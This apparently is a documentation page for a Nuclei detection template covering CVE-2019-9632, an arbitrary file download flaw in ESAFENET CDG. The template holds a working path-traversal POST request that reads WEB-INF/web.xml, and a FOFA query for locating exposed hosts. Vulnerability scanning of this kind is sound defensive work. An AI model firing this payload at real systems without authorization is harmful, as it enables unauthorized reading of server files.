Skip to content

ESAFENET CDG - Arbitrary File Download

ID: CVE-2019-9632

Severity: high

Author: pdteam

Tags: cve,cve2019,esafenet,lfi

ESAFENET CDG V3 and V5 has an arbitrary file download vulnerability via the fileName parameter in download.jsp because the InstallationPack parameter is mishandled in a /CDGServer3/ClientAjax request.

id: CVE-2019-9632
info:
name: ESAFENET CDG - Arbitrary File Download
author: pdteam
severity: high
description: |
ESAFENET CDG V3 and V5 has an arbitrary file download vulnerability via the fileName parameter in download.jsp because the InstallationPack parameter is mishandled in a /CDGServer3/ClientAjax request.
reference:
- https://github.com/HimmelAward/Goby_POC
- https://github.com/Z0fhack/Goby_POC
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2019-9632
epss-score: 0.05368
epss-percentile: 0.93097
cpe: cpe:2.3:a:esafenet:electronic_document_security_management_system:v3:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: esafenet
product: "electronic_document_security_management_system"
fofa-query: "title=\"电子文档安全管理系统\""
tags: cve,cve2019,esafenet,lfi
http:
- method: POST
path:
- "{{BaseURL}}/CDGServer3/ClientAjax"
headers:
Content-Type: application/x-www-form-urlencoded
body: |
command=downclientpak&InstallationPack=../WEB-INF/web.xml&forward=index.jsp
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "<servlet-name>CDGPermissions</servlet-name>"
# digest: 490a004630440220029d9df3f9c164705149896d57bfb25ca8c9eb30db360a070c7dd26091031a1902206fa5bada75b792156361f463922ea17d24f0537495aaed0128c2525b7c76378f:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-9632.yaml"

View on Github